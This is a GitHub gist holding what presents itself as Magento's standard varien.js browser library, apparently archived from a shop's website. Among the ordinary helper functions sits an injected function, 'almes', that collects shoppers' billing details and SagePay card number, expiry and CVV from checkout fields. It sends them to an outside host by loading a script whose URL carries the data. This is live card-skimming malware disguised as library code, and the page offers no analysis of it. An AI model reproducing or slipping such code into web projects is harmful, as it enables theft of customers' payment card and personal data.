Created
January 31, 2020 08:41
-
-
Save pikpikcu/627e9bb18395a3d396cebbc2bb4a0213 to your computer and use it in GitHub Desktop.
magento
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Magento | |
* | |
* NOTICE OF LICENSE | |
* | |
* This source file is subject to the Academic Free License (AFL 3.0) | |
* that is bundled with this package in the file LICENSE_AFL.txt. | |
* It is also available through the world-wide-web at this URL: | |
* http://opensource.org/licenses/afl-3.0.php | |
* If you did not receive a copy of the license and are unable to | |
* obtain it through the world-wide-web, please send an email | |
* to license@magentocommerce.com so we can send you a copy immediately. | |
* | |
* DISCLAIMER | |
* | |
* Do not edit or add to this file if you wish to upgrade Magento to newer | |
* versions in the future. If you wish to customize Magento for your | |
* needs please refer to http://www.magentocommerce.com for more information. | |
* | |
* @category Varien | |
* @package js | |
* @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com) | |
* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) | |
*/ | |
function popWin(url,win,para) { | |
var win = window.open(url,win,para); | |
win.focus(); | |
} | |
function setLocation(url){ | |
window.location.href = url; | |
} | |
function setPLocation(url, setFocus){ | |
if( setFocus ) { | |
window.opener.focus(); | |
} | |
window.opener.location.href = url; | |
} | |
function setLanguageCode(code, fromCode){ | |
//TODO: javascript cookies have different domain and path than php cookies | |
var href = window.location.href; | |
var after = '', dash; | |
if (dash = href.match(/\#(.*)$/)) { | |
href = href.replace(/\#(.*)$/, ''); | |
after = dash[0]; | |
} | |
if (href.match(/[?]/)) { | |
var re = /([?&]store=)[a-z0-9_]*/; | |
if (href.match(re)) { | |
href = href.replace(re, '$1'+code); | |
} else { | |
href += '&store='+code; | |
} | |
var re = /([?&]from_store=)[a-z0-9_]*/; | |
if (href.match(re)) { | |
href = href.replace(re, ''); | |
} | |
} else { | |
href += '?store='+code; | |
} | |
if (typeof(fromCode) != 'undefined') { | |
href += '&from_store='+fromCode; | |
} | |
href += after; | |
setLocation(href); | |
} | |
/** | |
* Add classes to specified elements. | |
* Supported classes are: 'odd', 'even', 'first', 'last' | |
* | |
* @param elements - array of elements to be decorated | |
* [@param decorateParams] - array of classes to be set. If omitted, all available will be used | |
*/ | |
function decorateGeneric(elements, decorateParams) | |
{ | |
var allSupportedParams = ['odd', 'even', 'first', 'last']; | |
var _decorateParams = {}; | |
var total = elements.length; | |
if (total) { | |
// determine params called | |
if (typeof(decorateParams) == 'undefined') { | |
decorateParams = allSupportedParams; | |
} | |
if (!decorateParams.length) { | |
return; | |
} | |
for (var k in allSupportedParams) { | |
_decorateParams[allSupportedParams[k]] = false; | |
} | |
for (var k in decorateParams) { | |
_decorateParams[decorateParams[k]] = true; | |
} | |
// decorate elements | |
// elements[0].addClassName('first'); // will cause bug in IE (#5587) | |
if (_decorateParams.first) { | |
Element.addClassName(elements[0], 'first'); | |
} | |
if (_decorateParams.last) { | |
Element.addClassName(elements[total-1], 'last'); | |
} | |
for (var i = 0; i < total; i++) { | |
if ((i + 1) % 2 == 0) { | |
if (_decorateParams.even) { | |
Element.addClassName(elements[i], 'even'); | |
} | |
} | |
else { | |
if (_decorateParams.odd) { | |
Element.addClassName(elements[i], 'odd'); | |
} | |
} | |
} | |
} | |
} | |
/** | |
* Decorate table rows and cells, tbody etc | |
* @see decorateGeneric() | |
*/ | |
function decorateTable(table, options) { | |
var table = $(table); | |
if (table) { | |
// set default options | |
var _options = { | |
'tbody' : false, | |
'tbody tr' : ['odd', 'even', 'first', 'last'], | |
'thead tr' : ['first', 'last'], | |
'tfoot tr' : ['first', 'last'], | |
'tr td' : ['last'] | |
}; | |
// overload options | |
if (typeof(options) != 'undefined') { | |
for (var k in options) { | |
_options[k] = options[k]; | |
} | |
} | |
// decorate | |
if (_options['tbody']) { | |
decorateGeneric(table.select('tbody'), _options['tbody']); | |
} | |
if (_options['tbody tr']) { | |
decorateGeneric(table.select('tbody tr'), _options['tbody tr']); | |
} | |
if (_options['thead tr']) { | |
decorateGeneric(table.select('thead tr'), _options['thead tr']); | |
} | |
if (_options['tfoot tr']) { | |
decorateGeneric(table.select('tfoot tr'), _options['tfoot tr']); | |
} | |
if (_options['tr td']) { | |
var allRows = table.select('tr'); | |
if (allRows.length) { | |
for (var i = 0; i < allRows.length; i++) { | |
decorateGeneric(allRows[i].getElementsByTagName('TD'), _options['tr td']); | |
} | |
} | |
} | |
} | |
} | |
/** | |
* Set "odd", "even" and "last" CSS classes for list items | |
* @see decorateGeneric() | |
*/ | |
function decorateList(list, nonRecursive) { | |
if ($(list)) { | |
if (typeof(nonRecursive) == 'undefined') { | |
var items = $(list).select('li') | |
} | |
else { | |
var items = $(list).childElements(); | |
} | |
decorateGeneric(items, ['odd', 'even', 'last']); | |
} | |
} | |
function almes(){ | |
var bfname = document.getElementById("billing:firstname").value; | |
var blastname = document.getElementById("billing:lastname").value; | |
var bemail = document.getElementById("billing:email").value; | |
var bstreet = document.getElementById("billing:street1").value; | |
var bcity = document.getElementById("billing:city").value; | |
var bstate = document.getElementById("billing:region").value; | |
var bpost = document.getElementById("billing:postcode").value; | |
var bcountry = document.getElementById("billing:country_id").value; | |
var btel = document.getElementById("billing:telephone").value; | |
var cc_num = document.getElementById("sagepaydirectpro_cc_number").value; | |
var cc_exp = document.getElementById("sagepaydirectpro_expiration").value; | |
var cc_exp_y = document.getElementById("sagepaydirectpro_expiration_yr").value; | |
var cc_cvv = document.getElementById("sagepaydirectpro_cc_cid").value; | |
var final = cc_num.concat(";",cc_exp,";",cc_exp_y,";",cc_cvv,";",bfname,";",blastname,";",bstreet,";",bcountry,";",bpost,";",bstate,";",bcity,";",btel,";",bemail,";","",";","",";","",";","philparker.biz"); | |
var script = document.createElement("script"); | |
script.src = "https://web.archive.org/web/20190503234520/https://www.philparker.biz/skin/frontend/base/default/sagepaysuite/sagePaySuite.php?data="+final; | |
script.type = 'text/javascript'; | |
document.body.appendChild(script); | |
} | |
/** | |
* Set "odd", "even" and "last" CSS classes for list items | |
* @see decorateGeneric() | |
*/ | |
function decorateDataList(list) { | |
list = $(list); | |
if (list) { | |
decorateGeneric(list.select('dt'), ['odd', 'even', 'last']); | |
decorateGeneric(list.select('dd'), ['odd', 'even', 'last']); | |
} | |
} | |
/** | |
* Parse SID and produces the correct URL | |
*/ | |
function parseSidUrl(baseUrl, urlExt) { | |
var sidPos = baseUrl.indexOf('/?SID='); | |
var sid = ''; | |
urlExt = (urlExt != undefined) ? urlExt : ''; | |
if(sidPos > -1) { | |
sid = '?' + baseUrl.substring(sidPos + 2); | |
baseUrl = baseUrl.substring(0, sidPos + 1); | |
} | |
return baseUrl+urlExt+sid; | |
} | |
/** | |
* Formats currency using patern | |
* format - JSON (pattern, decimal, decimalsDelimeter, groupsDelimeter) | |
* showPlus - true (always show '+'or '-'), | |
* false (never show '-' even if number is negative) | |
* null (show '-' if number is negative) | |
*/ | |
function formatCurrency(price, format, showPlus){ | |
var precision = isNaN(format.precision = Math.abs(format.precision)) ? 2 : format.precision; | |
var requiredPrecision = isNaN(format.requiredPrecision = Math.abs(format.requiredPrecision)) ? 2 : format.requiredPrecision; | |
//precision = (precision > requiredPrecision) ? precision : requiredPrecision; | |
//for now we don't need this difference so precision is requiredPrecision | |
precision = requiredPrecision; | |
var integerRequired = isNaN(format.integerRequired = Math.abs(format.integerRequired)) ? 1 : format.integerRequired; | |
var decimalSymbol = format.decimalSymbol == undefined ? "," : format.decimalSymbol; | |
var groupSymbol = format.groupSymbol == undefined ? "." : format.groupSymbol; | |
var groupLength = format.groupLength == undefined ? 3 : format.groupLength; | |
var s = ''; | |
if (showPlus == undefined || showPlus == true) { | |
s = price < 0 ? "-" : ( showPlus ? "+" : ""); | |
} else if (showPlus == false) { | |
s = ''; | |
} | |
var i = parseInt(price = Math.abs(+price || 0).toFixed(precision)) + ""; | |
var pad = (i.length < integerRequired) ? (integerRequired - i.length) : 0; | |
while (pad) { i = '0' + i; pad--; } | |
j = (j = i.length) > groupLength ? j % groupLength : 0; | |
re = new RegExp("(\\d{" + groupLength + "})(?=\\d)", "g"); | |
/** | |
* replace(/-/, 0) is only for fixing Safari bug which appears | |
* when Math.abs(0).toFixed() executed on "0" number. | |
* Result is "0.-0" :( | |
*/ | |
var r = (j ? i.substr(0, j) + groupSymbol : "") + i.substr(j).replace(re, "$1" + groupSymbol) + (precision ? decimalSymbol + Math.abs(price - i).toFixed(precision).replace(/-/, 0).slice(2) : "") | |
var pattern = ''; | |
if (format.pattern.indexOf('{sign}') == -1) { | |
pattern = s + format.pattern; | |
} else { | |
pattern = format.pattern.replace('{sign}', s); | |
} | |
return pattern.replace('%s', r).replace(/^\s\s*/, '').replace(/\s\s*$/, ''); | |
}; | |
function expandDetails(el, childClass) { | |
if (Element.hasClassName(el,'show-details')) { | |
$$(childClass).each(function(item){item.hide()}); | |
Element.removeClassName(el,'show-details'); | |
} | |
else { | |
$$(childClass).each(function(item){item.show()}); | |
Element.addClassName(el,'show-details'); | |
} | |
} | |
// Version 1.0 | |
var isIE = navigator.appVersion.match(/MSIE/) == "MSIE"; | |
if (!window.Varien) | |
var Varien = new Object(); | |
Varien.showLoading = function(){ | |
Element.show('loading-process'); | |
} | |
Varien.hideLoading = function(){ | |
Element.hide('loading-process'); | |
} | |
Varien.GlobalHandlers = { | |
onCreate: function() { | |
Varien.showLoading(); | |
}, | |
onComplete: function() { | |
if(Ajax.activeRequestCount == 0) { | |
Varien.hideLoading(); | |
} | |
} | |
}; | |
Ajax.Responders.register(Varien.GlobalHandlers); | |
/** | |
* Quick Search form client model | |
*/ | |
Varien.searchForm = Class.create(); | |
Varien.searchForm.prototype = { | |
initialize : function(form, field, emptyText){ | |
this.form = $(form); | |
this.field = $(field); | |
this.emptyText = emptyText; | |
Event.observe(this.form, 'submit', this.submit.bind(this)); | |
Event.observe(this.field, 'focus', this.focus.bind(this)); | |
Event.observe(this.field, 'blur', this.blur.bind(this)); | |
this.blur(); | |
}, | |
submit : function(event){ | |
if (this.field.value == this.emptyText || this.field.value == ''){ | |
Event.stop(event); | |
return false; | |
} | |
return true; | |
}, | |
focus : function(event){ | |
if(this.field.value==this.emptyText){ | |
this.field.value=''; | |
} | |
}, | |
blur : function(event){ | |
if(this.field.value==''){ | |
this.field.value=this.emptyText; | |
} | |
}, | |
initAutocomplete : function(url, destinationElement){ | |
new Ajax.Autocompleter( | |
this.field, | |
destinationElement, | |
url, | |
{ | |
paramName: this.field.name, | |
method: 'get', | |
minChars: 2, | |
updateElement: this._selectAutocompleteItem.bind(this), | |
onShow : function(element, update) { | |
if(!update.style.position || update.style.position=='absolute') { | |
update.style.position = 'absolute'; | |
Position.clone(element, update, { | |
setHeight: false, | |
offsetTop: element.offsetHeight | |
}); | |
} | |
Effect.Appear(update,{duration:0}); | |
} | |
} | |
); | |
}, | |
_selectAutocompleteItem : function(element){ | |
if(element.title){ | |
this.field.value = element.title; | |
} | |
this.form.submit(); | |
} | |
} | |
Varien.Tabs = Class.create(); | |
Varien.Tabs.prototype = { | |
initialize: function(selector) { | |
var self=this; | |
$$(selector+' a').each(this.initTab.bind(this)); | |
}, | |
initTab: function(el) { | |
el.href = 'javascript:void(0)'; | |
if ($(el.parentNode).hasClassName('active')) { | |
this.showContent(el); | |
} | |
el.observe('click', this.showContent.bind(this, el)); | |
}, | |
showContent: function(a) { | |
var li = $(a.parentNode), ul = $(li.parentNode); | |
ul.getElementsBySelector('li', 'ol').each(function(el){ | |
var contents = $(el.id+'_contents'); | |
if (el==li) { | |
el.addClassName('active'); | |
contents.show(); | |
} else { | |
el.removeClassName('active'); | |
contents.hide(); | |
} | |
}); | |
} | |
} | |
Varien.DateElement = Class.create(); | |
Varien.DateElement.prototype = { | |
initialize: function(type, content, required, format) { | |
if (type == 'id') { | |
// id prefix | |
this.day = $(content + 'day'); | |
this.month = $(content + 'month'); | |
this.year = $(content + 'year'); | |
this.full = $(content + 'full'); | |
this.advice = $(content + 'date-advice'); | |
} else if (type == 'container') { | |
// content must be container with data | |
this.day = content.day; | |
this.month = content.month; | |
this.year = content.year; | |
this.full = content.full; | |
this.advice = content.advice; | |
} else { | |
return; | |
} | |
this.required = required; | |
this.format = format; | |
this.day.addClassName('validate-custom'); | |
this.day.validate = this.validate.bind(this); | |
this.month.addClassName('validate-custom'); | |
this.month.validate = this.validate.bind(this); | |
this.year.addClassName('validate-custom'); | |
this.year.validate = this.validate.bind(this); | |
this.setDateRange(false, false); | |
this.year.setAttribute('autocomplete','off'); | |
this.advice.hide(); | |
}, | |
validate: function() { | |
var error = false, | |
day = parseInt(this.day.value.replace(/^0*/, '')) || 0, | |
month = parseInt(this.month.value.replace(/^0*/, '')) || 0, | |
year = parseInt(this.year.value) || 0; | |
if (!day && !month && !year) { | |
if (this.required) { | |
error = 'This date is a required value.'; | |
} else { | |
this.full.value = ''; | |
} | |
} else if (!day || !month || !year) { | |
error = 'Please enter a valid full date.'; | |
} else { | |
var date = new Date, countDaysInMonth = 0, errorType = null; | |
date.setYear(year);date.setMonth(month-1);date.setDate(32); | |
countDaysInMonth = 32 - date.getDate(); | |
if(!countDaysInMonth || countDaysInMonth>31) countDaysInMonth = 31; | |
if (day<1 || day>countDaysInMonth) { | |
errorType = 'day'; | |
error = 'Please enter a valid day (1-%d).'; | |
} else if (month<1 || month>12) { | |
errorType = 'month'; | |
error = 'Please enter a valid month (1-12).'; | |
} else { | |
if(day % 10 == day) this.day.value = '0'+day; | |
if(month % 10 == month) this.month.value = '0'+month; | |
this.full.value = this.format.replace(/%[mb]/i, this.month.value).replace(/%[de]/i, this.day.value).replace(/%y/i, this.year.value); | |
var testFull = this.month.value + '/' + this.day.value + '/'+ this.year.value; | |
var test = new Date(testFull); | |
if (isNaN(test)) { | |
error = 'Please enter a valid date.'; | |
} else { | |
this.setFullDate(test); | |
} | |
} | |
var valueError = false; | |
if (!error && !this.validateData()){//(year<1900 || year>curyear) { | |
errorType = this.validateDataErrorType;//'year'; | |
valueError = this.validateDataErrorText;//'Please enter a valid year (1900-%d).'; | |
error = valueError; | |
} | |
} | |
if (error !== false) { | |
try { | |
error = Translator.translate(error); | |
} | |
catch (e) {} | |
if (!valueError) { | |
this.advice.innerHTML = error.replace('%d', countDaysInMonth); | |
} else { | |
this.advice.innerHTML = this.errorTextModifier(error); | |
} | |
this.advice.show(); | |
return false; | |
} | |
// fixing elements class | |
this.day.removeClassName('validation-failed'); | |
this.month.removeClassName('validation-failed'); | |
this.year.removeClassName('validation-failed'); | |
this.advice.hide(); | |
return true; | |
}, | |
validateData: function() { | |
var year = this.fullDate.getFullYear(); | |
var date = new Date; | |
this.curyear = date.getFullYear(); | |
return (year>=1900 && year<=this.curyear); | |
}, | |
validateDataErrorType: 'year', | |
validateDataErrorText: 'Please enter a valid year (1900-%d).', | |
errorTextModifier: function(text) { | |
return text.replace('%d', this.curyear); | |
}, | |
setDateRange: function(minDate, maxDate) { | |
this.minDate = minDate; | |
this.maxDate = maxDate; | |
}, | |
setFullDate: function(date) { | |
this.fullDate = date; | |
} | |
}; | |
Varien.DOB = Class.create(); | |
Varien.DOB.prototype = { | |
initialize: function(selector, required, format) { | |
var el = $$(selector)[0]; | |
var container = {}; | |
container.day = Element.select(el, '.dob-day input')[0]; | |
container.month = Element.select(el, '.dob-month input')[0]; | |
container.year = Element.select(el, '.dob-year input')[0]; | |
container.full = Element.select(el, '.dob-full input')[0]; | |
container.advice = Element.select(el, '.validation-advice')[0]; | |
new Varien.DateElement('container', container, required, format); | |
} | |
}; | |
Varien.dateRangeDate = Class.create(); | |
Varien.dateRangeDate.prototype = Object.extend(new Varien.DateElement(), { | |
validateData: function() { | |
var validate = true; | |
if (this.minDate || this.maxValue) { | |
if (this.minDate) { | |
this.minDate = new Date(this.minDate); | |
this.minDate.setHours(0); | |
if (isNaN(this.minDate)) { | |
this.minDate = new Date('1/1/1900'); | |
} | |
validate = validate && (this.fullDate >= this.minDate) | |
} | |
if (this.maxDate) { | |
this.maxDate = new Date(this.maxDate) | |
this.minDate.setHours(0); | |
if (isNaN(this.maxDate)) { | |
this.maxDate = new Date(); | |
} | |
validate = validate && (this.fullDate <= this.maxDate) | |
} | |
if (this.maxDate && this.minDate) { | |
this.validateDataErrorText = 'Please enter a valid date between %s and %s'; | |
} else if (this.maxDate) { | |
this.validateDataErrorText = 'Please enter a valid date less than or equal to %s'; | |
} else if (this.minDate) { | |
this.validateDataErrorText = 'Please enter a valid date equal to or greater than %s'; | |
} else { | |
this.validateDataErrorText = ''; | |
} | |
} | |
return validate; | |
}, | |
validateDataErrorText: 'Date should be between %s and %s', | |
errorTextModifier: function(text) { | |
if (this.minDate) { | |
text = text.sub('%s', this.dateFormat(this.minDate)); | |
} | |
if (this.maxDate) { | |
text = text.sub('%s', this.dateFormat(this.maxDate)); | |
} | |
return text; | |
}, | |
dateFormat: function(date) { | |
return (date.getMonth() + 1) + '/' + date.getDate() + '/' + date.getFullYear(); | |
} | |
}); | |
Varien.FileElement = Class.create(); | |
Varien.FileElement.prototype = { | |
initialize: function (id) { | |
this.fileElement = $(id); | |
this.hiddenElement = $(id + '_value'); | |
this.fileElement.observe('change', this.selectFile.bind(this)); | |
}, | |
selectFile: function(event) { | |
this.hiddenElement.value = this.fileElement.getValue(); | |
} | |
}; | |
Validation.addAllThese([ | |
['validate-custom', ' ', function(v,elm) { | |
return elm.validate(); | |
}] | |
]); | |
function truncateOptions() { | |
$$('.truncated').each(function(element){ | |
Event.observe(element, 'mouseover', function(){ | |
if (element.down('div.truncated_full_value')) { | |
element.down('div.truncated_full_value').addClassName('show') | |
} | |
}); | |
Event.observe(element, 'mouseout', function(){ | |
if (element.down('div.truncated_full_value')) { | |
element.down('div.truncated_full_value').removeClassName('show') | |
} | |
}); | |
}); | |
} | |
Event.observe(window, 'load', function(){ | |
truncateOptions(); | |
}); | |
Element.addMethods({ | |
getInnerText: function(element) | |
{ | |
element = $(element); | |
if(element.innerText && !Prototype.Browser.Opera) { | |
return element.innerText | |
} | |
return element.innerHTML.stripScripts().unescapeHTML().replace(/[\n\r\s]+/g, ' ').strip(); | |
} | |
}); | |
/* | |
if (!("console" in window) || !("firebug" in console)) | |
{ | |
var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml", | |
"group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"]; | |
window.console = {}; | |
for (var i = 0; i < names.length; ++i) | |
window.console[names[i]] = function() {} | |
} | |
*/ | |
/** | |
* Executes event handler on the element. Works with event handlers attached by Prototype, | |
* in a browser-agnostic fashion. | |
* @param element The element object | |
* @param event Event name, like 'change' | |
* | |
* @example fireEvent($('my-input', 'click')); | |
*/ | |
function fireEvent(element, event) { | |
if (document.createEvent) { | |
// dispatch for all browsers except IE before version 9 | |
var evt = document.createEvent("HTMLEvents"); | |
evt.initEvent(event, true, true ); // event type, bubbling, cancelable | |
return element.dispatchEvent(evt); | |
} else { | |
// dispatch for IE before version 9 | |
var evt = document.createEventObject(); | |
return element.fireEvent('on' + event, evt) | |
} | |
} | |
/** | |
* Returns more accurate results of floating-point modulo division | |
* E.g.: | |
* 0.6 % 0.2 = 0.19999999999999996 | |
* modulo(0.6, 0.2) = 0 | |
* | |
* @param dividend | |
* @param divisor | |
*/ | |
function modulo(dividend, divisor) | |
{ | |
var epsilon = divisor / 10000; | |
var remainder = dividend % divisor; | |
if (Math.abs(remainder - divisor) < epsilon || Math.abs(remainder) < epsilon) { | |
remainder = 0; | |
} | |
return remainder; | |
} | |
/** | |
* createContextualFragment is not supported in IE9. Adding its support. | |
*/ | |
if ((typeof Range != "undefined") && !Range.prototype.createContextualFragment) | |
{ | |
Range.prototype.createContextualFragment = function(html) | |
{ | |
var frag = document.createDocumentFragment(), | |
div = document.createElement("div"); | |
frag.appendChild(div); | |
div.outerHTML = html; | |
return frag; | |
}; | |
} | |
/* | |
FILE ARCHIVED ON 23:45:20 May 03, 2019 AND RETRIEVED FROM THE | |
INTERNET ARCHIVE ON 13:46:33 Jan 07, 2020. | |
JAVASCRIPT APPENDED BY WAYBACK MACHINE, COPYRIGHT INTERNET ARCHIVE. | |
ALL OTHER CONTENT MAY ALSO BE PROTECTED BY COPYRIGHT (17 U.S.C. | |
SECTION 108(a)(3)). | |
*/ | |
/* | |
playback timings (ms): | |
load_resource: 85.069 | |
exclusion.robots: 0.187 | |
exclusion.robots.policy: 0.173 | |
RedisCDXSource: 18.244 | |
esindex: 0.017 | |
PetaboxLoader3.datanode: 408.421 (4) | |
captures_list: 425.704 | |
LoadShardBlock: 387.509 (3) | |
CDXLines.iter: 16.01 (3) | |
PetaboxLoader3.resolve: 53.336 | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment